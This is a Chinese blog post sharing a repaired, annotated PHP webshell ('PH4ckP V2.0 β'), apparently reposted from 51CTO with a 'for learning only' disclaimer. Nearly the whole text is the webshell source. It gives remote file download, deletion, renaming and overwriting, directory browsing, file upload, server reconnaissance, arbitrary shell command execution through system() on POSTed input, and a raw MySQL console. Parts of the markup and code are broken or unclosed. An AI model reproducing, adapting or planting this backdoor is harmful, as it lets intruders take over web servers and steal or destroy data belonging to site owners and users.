修正一款php webshell-白红宇

[背景]

给朋友下载的一款php webshell，发现很多功能不能用，估计是被人修改了，所以只能将其功能补全了，而且加了说明，提供给大家学习用，但不能做坏事哟，我可不承担法律责任，嘻嘻!

[内容]

<?php

/*--------------------------------------------

Codz By pr0cess

MSN:l4ndishezhang@hotmail.com

Modified By Badboy

Date:2009/23/06

----------------------------------------------

//这下面$downfile,$delfile,$refilname,$editfile 4个变量是触发下面三个条件语句的变量，值得获取是通过Url取得的。

$downfile=$_GET["downfile"];

$delfile = $_GET["delfile"];

$refilename = $_GET["refilename"];

$editfile = $_GET["editfile"];

//文件下载

if ($downfile)

{

#@set_time_limit(600); #Limits the maximum execution time

$filename = basename($downfile); #basename,filesize.readfile文件函数，用来对文件进行操作的函数

header("Content-Type: application/force-download; name=".$filename); #构造一个下载http头部信息。

header("Content-Transfer-Encoding: binary");

header("Content-Disposition: attachment; filename=".$filename);

header("Expires: 0");

header("Cache-Control: no-cache, must-revalidate");

header("Pragma: no-cache");

}

//删除文件

if($delfile!=""){

if(is_file($delfile)){ #if_file,unlink文件函数，用来对文件进行操作的函数

$message = (@unlink($delfile))

? "<font color=blue>The deletion document succeeds!`$delfile` Already deleted!</font>"

: "<font color=blue>The deletion document is defeated！`$delfile` The document exists!</font>" ;

}else{

$message = "<font color=blue>File `$delfile` does not exist！</font>";

}

echo $message;

}

//重命名文件

if ($refilename){

echo '<table>';

echo '<form action="" method="post">';

echo '<br>';

echo '<tr>';

echo '<td align="left">';

echo '<font size="2">';

echo 'Enter the newname to here：';

echo '<input type="text" name="newname"/>';

echo '<input type="submit" value="Rename"/>';

echo '</tr>';echo '</td>';echo '</table>';

$oldname=basename($refilename); #rename文件函数，用来对文件进行操作的函数

if (@rename($oldname,$_POST['newname'])){

echo '<script>alert(\'文件改名成功!\')</script>';}

else

{ if (!empty($_POST['newname']))

echo '<script>alert(\'文件改名失败!\')</script>';}

}

//编辑文件

if ($editfile) {

$content=basename($editfile);

if(empty($_POST['newcontent'])){

echo '<table><tr>';

echo '<form action="" method="post">';

echo '<input type="submit" value="Edition document"/>';

echo '</tr>';

$fp=@fopen("$content","r");#fopen,fread,filesize,fclos,fwrite文件系统函数，用来对文件进行操作的函数

$data=@fread($fp,filesize($content));

echo '<tr>';

echo '<textarea name="newcontent" cols="80" rows="20" >';

echo $data;

@fclose($fp);

echo '</textarea></tr></form></table>';

}

if (!empty($_POST['newcontent']))

{

$fp=@fopen("$content","w+");

echo ($result=@fwrite($fp,$_POST['newcontent']))?"<font color=red>The injection document succeeds！Good Luck!</font>":"<font color=blue>The injection document is defeated！</font>";

@fclose($fp);

}

<html>

<title>PH4ckP V2.0 β By pr0cess - Modified</title>

body {font-family: "sans-serif", "serif"; font-size: 12px;}

BODY { background-color:#A2B5CD }

a:link {color: #BFEFFF; text-decoration: none}

a:visited {color: #080808; text-decoration: none}

a:hover {color: #FFFFFF; text-decoration: underline}

input {font-family: "sans-serif", "serif";font-size: 12px;}

td {font-family: "sans-serif", "Verdana"; font-size: 12px;}

.title {font-family: "Verdana", "Tahoma";font-size: 20px;font-weight: bold; color=black}

</STYLE>

</head>

<body>

<tr>

<td class="title" align="center">PH4ckP V2.0 β - Modified</td>

</tr>

</table>

<hr>

<tr>

<td>

Operating system:

<?php //php服务器变量

echo PHP_OS;?></td><td>Server name:<?echo $_SERVER['SERVER_NAME'];?><td>Server IP:<?echo gethostbyname($_SERVER['SERVER_NAME']);?></tr><tr></td><td>Server time:<?echo date("Y年m月d日 h:i:s",time());?></td><td>Server port :<?echo $_SERVER['SERVER_PORT'];

</td></tr>

</table>

<hr>

<table><tr><td><a href="?shell=env">『PHP探针模块』</a></td><td><a href="?shell=checkdir">『目录浏览模块[快速]』</a></td><td> <a href="?shell=command">『命令执行模块』</a></td><td><a href="?shell=sql">『数据库操作模块』</a></td><td><a href="?shell=change">『字符转换模块』</a></td></tr></table>

<hr>

<table><tr><td>Home dir:<a href="?dir=<?php echo $_SERVER['DOCUMENT_ROOT'];?>"><?php echo $_SERVER['DOCUMENT_ROOT'];?></a></td></tr><tr><td>Current dir of contents：<?php

//打印目录文件

$dir=$_GET['dir'];

if (!isset($dir) or empty($dir)) {

$dir=str_replace('\\','/',dirname(__FILE__));

echo "<font color=\"#00688B\">".$dir."</font>";

} else {

echo "<font color=\"#00688B\">".$dir."</font>";

}

?></td>

</tr>

UploadFile：

</form>

<?php

//文件上传

$upload_file=$_FILES['upload_file']['tmp_name'];

$upload_file_name=$_FILES['upload_file']['name'];

$upload_file_size=$_FILES['upload_file']['size'];

if($upload_file){

$file_size_max = 1000*1000;

$store_dir = dirname(__FILE__);

$accept_overwrite = 1; #决定是否覆盖的开关

if ($upload_file_size > $file_size_max) {

echo "兄弟！换个小点滴！！<br>";

exit;

}

if (file_exists($store_dir ."\\". $upload_file_name) && !$accept_overwrite) {

Echo "文件已存在！";

exit;

}

if (!move_uploaded_file($upload_file,$store_dir."\\".$upload_file_name)) {

echo "上传文件失败！";

exit;

}

Echo "<p>Uploaded file:";

echo "<font color=blue>".$_FILES['upload_file']['name']."</font>";

echo "\t";

Echo "Uploadfilesiza:";

echo "<font color=blue>".$_FILES['upload_file']['size']." Bytes</font>";

echo "\t";

Echo "Sucessful...";

}

echo '</td></tr>';

echo '</tr>';

echo '</table>';

<?php

echo '<table width="100%" border="0" cellspacing="1" cellpadding="3">';

echo '<form action="" method="get">';

echo '<tr>';

echo '<td>';

echo "The dir of contents glances over：";

echo '<input type="text" name="dir" style="font-family:Verdana,Arial; font-size: 9pt;">';

echo '<input type="submit" value="GoTo" style="font-family:Verdana,Arial; font-size: 9pt;background-color:#A2B5CD ">';

echo '</td>';

echo '</tr>';

echo '</form>';

echo '<table width="100%" border="0" cellpadding="3" cellspacing="1">';

echo '<tr>';

echo '<td><b>';echo "Sub-Dir of contents";echo '</b></td>';

echo '</tr>';

#打印上层目录

$dirs=@opendir($dir);

while ($file=@readdir($dirs)) {

$b="$dir/$file";

$a=@is_dir($b);

if($a=="1"){

if($file!=".."&&$file!=".") {

echo "<tr>\n";

echo " <td><a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\">$file</a></td>\n";

echo "</tr>\n";

} else {

if($file=="..")

echo "<a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\">Back higher authority dir of contents</a>";

}

@closedir($dirs);

</table>

<hr>

<tr>

<td><b>Filename</b></td>

<td><b>Filedate</b></td>

<td><b>Filesize</b></td>

<td><b>Fileoperates</b></td>

</tr>

<?php

//打印文件

$dirs=@opendir($dir);

while ($file=@readdir($dirs)) {

$b="$dir/$file";

$a=@is_dir($b);

if($a=="0"){

$size=@filesize("$dir/$file")/1024;

$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));

echo "<tr>\n";

echo "<td>$file</td>\n";

echo " <td>$lastsave</td>\n";

echo " <td>$size KB</td>\n";

echo " <td><a href=\"?downfile=".urlencode($dir)."/".urlencode($file)."\">［Down］ </a><a href=\"?delfile=".urlencode($dir)."/".urlencode ($file)."\">［Delete］</a></a><a href=\"?refilename=".urlencode($dir)."/".urlencode($file)."\"> ［Rename］</a><a href=\"?editfile=".urlencode($dir)."/".urlencode($file)."\">［Injects］ </a></td>\n";

echo "</tr>\n";

}

@closedir($dirs);

?></table>

<hr>

#打印环境

<?php

if ($_GET['shell']=="env"){

function dir_wriable($dir){

$xY7_test=tempnam("$dir","test_file"); #测试写

if ($fp=@fopen($xY7_test,"w")){

@fclose($fp);

@unlink($xY7_test);

$wriable="ture";

}

else {

$wriable=false or die ("Cannot open $xY7_test!");

}

return $wriable;

}

if (dir_wriable(str_replace('//','/',dirname(__FILE__)))){

$dir_wriable='目录可写';

echo "<b>当前目录可写!^ _ ^</b>";

}

else{

$dir_wriable='目录不可写';

echo "<b>当前目录不可写！</b>";

}

function getinfo($xy7)

{

if($xy7==1)

{

$s='<font color=blue>YES<b>√</b></font>';

}

else

{

$s='<font color=red>NO<b>×</b></font>';

}

return $s;

}

echo '<br><br>';

echo "服务器系统：" ;

echo PHP_OS;

echo '<br>' ;

echo "服务器域名:";

echo $_SERVER['SERVER_NAME'];

echo '<br>';

echo "WEB服务器端口：";

echo $_SERVER['SERVER_PORT'];

echo '<br>';

echo "服务器时间:";

echo date("Y年m月d日 h:i:s",time());

echo '<br>';

echo "服务器IP地址:";

echo gethostbyname($_SERVER['SERVER_NAME']);

echo '<br>';

echo "服务器操作系统文字编码:";

echo $_SERVER['HTTP_ACCEPT_LANGUAGE'];

echo '<br>';

echo "服务器解释引擎:";

echo $_SERVER['SERVER_SOFTWARE'];

echo '<br>';

echo "PHP运行方式:";

echo strtoupper(php_sapi_name());

echo '<br>';

echo "PHP版本:";

echo PHP_VERSION;

echo '<br>';

echo "ZEND版本:";

echo zend_version();

echo '<br>';

echo "本文件绝对路径:";

echo __FILE__;

echo '<br>';

echo "服务器剩余空间:";

echo intval(diskfreespace(".") / (1024 * 1024)).'MB';

echo '<br>';

echo "脚本运行可占最大内存:";

echo get_cfg_var("memory_limit");

echo '<br>';

echo "脚本上传文件大小限制:";

echo get_cfg_var("upload_max_filesize");

echo '<br>';

echo "被屏蔽函数:";

echo get_cfg_var("disable_functions");

echo '<br>';

echo "POST方法提交限制:";

echo get_cfg_var("post_max_size");

echo '<br>';

echo "脚本超时时间:";

echo get_cfg_var("max_execution_time")."秒";

echo '<br>';

echo "动态链接库:";

echo getinfo(get_cfg_var("enable_dl"));

echo '<br>';

echo "自定义全局变量:";

echo getinfo(get_cfg_var("register_globals"));

echo '<br>';

echo "显示错误信息:";

echo getinfo(get_cfg_var("display_errors"));

echo '<br>';

echo "PHP安全模式:";

echo getinfo(get_cfg_var("safe_mode"));

echo '<br>';

echo "FTP文件传输:";

echo getinfo(get_magic_quotes_gpc("FTP support"));

echo '<br>';

echo"允许使用URL打开文件:";

echo getinfo(get_cfg_var("allow_url_fopen"));

echo '<br>';

echo "SESSION支持:";

echo getinfo(function_exists("session_start"));

echo '<br>';

echo "Socket支持:";

echo getinfo(function_exists("fsockopen"));

echo '<br>';

echo "MYSQL数据库:";

echo getinfo(function_exists("mysql_close"));

echo '<br>';

echo "SQL SERVER数据库:";

echo getinfo(function_exists("mssql_close"));

echo '<br>';

echo "ODBC数据库:";

echo getinfo(function_exists("odbc_close"));

echo '<br>';

echo "Oracle数据库:";

echo getinfo(function_exists("ora_close"));

echo '<br>';

echo "SNMP协议:";

echo getinfo(function_exists("snmpget"));

echo '<br>';

}

elseif ($_GET['shell']=="checkdir"){

global $PHP_SELF;

echo '<form action="" method="post">';

echo "快速目录浏览:";

echo '<input type="text" name="dir" style="font-family:Verdana,Arial; font-size: 9pt;"/>';

echo '<input type="submit" value="GoTo" style="font-family:Verdana,Arial; font-size: 9pt; background-color:#A2B5CD"/>';

echo '<br>';

echo '<textarea name="textarea" cols="70" rows="15">';

if (empty($_POST['dir']))

$newdir="./";

else

$newdir=$_POST['dir'];

$handle=@opendir($newdir);

while ($file=@readdir($handle))

{

echo ("$file \n");}

echo '</textarea></form>';

}

elseif ($_GET['shell']=="command"){

echo '<table>';

echo '<form action="" method="post">';

echo '<br>';

echo '<tr>';

echo '<td align="left">';

echo 'Enter your command：';

echo '<input type="text" name="cmd" style="font-family:Verdana,Arial; font-size: 9pt;"/>';

echo '<input type="submit" value="Run" style="font-family:Verdana,Arial; font-size: 9pt;background-color:#A2B5CD"/>';

echo '</tr>';echo '</td>';

echo '<tr>';

echo '<td>';

echo '<textarea name="textarea" cols="70" rows="15" readonly>';

@system($_POST['cmd']);

echo '</textarea></form>';

}

elseif ($_GET['shell']=="change"){

echo '<form action="" method="post">';

echo '<br>';

echo "Enter binary character:";

echo '<input type="text" name="char" style="font-family:Verdana,Arial; font-size: 9pt;"/>';

echo '<input type="submit" value="Transforms to Hexadecimal" style="font-family:Verdana,Arial; font-size: 9pt; background-color:#A2B5CD"/>';

echo '</form>';

echo '<textarea name="textarea" cols="40" rows="1" readonly>';

$result=bin2hex($_POST['char']);

echo "0x".$result;

echo '</textarea>';

}

//mysql操作

elseif ($_GET['shell']=="sql"){

echo '<table align="center" cellSpacing=8 cellPadding=4>';

echo '<tr><td>';

echo '<form action="" method="post">';

echo "Host:";

echo '<input name="servername" type="text" style="font-family:Verdana,Arial; font-size: 9pt;">';

echo '</td><td>';

echo "Username:";

echo '<input name="username" type="text" style="font-family:Verdana,Arial; font-size: 9pt;">';

echo '</td></tr>';

echo '<tr><td>';

echo "Password:";

echo '<input name="password" type="text" style="font-family:Verdana,Arial; font-size: 9pt;">';

echo '</td><td>';

echo "DBname:";

echo '<input name="dbname" type="text" style="font-family:Verdana,Arial; font-size: 9pt;">';

echo '</td></tr>';

$servername = $_POST['servername'];

$username = $_POST['username'];

$password = $_POST['password'];

$dbname = $_POST['dbname'];

if ($link=@mysql_connect($servername,$username,$password) and @mysql_select_db($dbname)) {

echo "<font color=blue>The database connects successfully!</font>";

echo "<br>";

//mysql_close();

} else {

echo "<font color=red>".mysql_error()."</font>";

echo "<br>";

}

$dbresult = $_POST['query'];

if (!empty($dbresult)){

$dbresult = @mysql_query($dbresult);

echo ($dbresult) ? "<font color=blue>Execution successfully!</font>" : "<font color=blue>The request makes a mistake:</font> "."<font color=red>".mysql_error()."</font>";

mysql_close();}

echo '<tr><td>';

echo '<textarea name="query" cols="60" rows="10">';

echo '</textarea>';

echo '</td></tr>';

echo '<tr><td align="center">';

echo '<input type="submit" value="Execution SQL_query" style="font-family:Verdana,Arial; font-size: 9pt; background-color:#A2B5CD"/>';

echo '</td></tr>';

echo '</table>';

}

</td></tr></table>

本文转自hahazhu0634 51CTO博客，原文链接：http://blog.51cto.com/5ydycm/169456，如需转载请自行联系原作者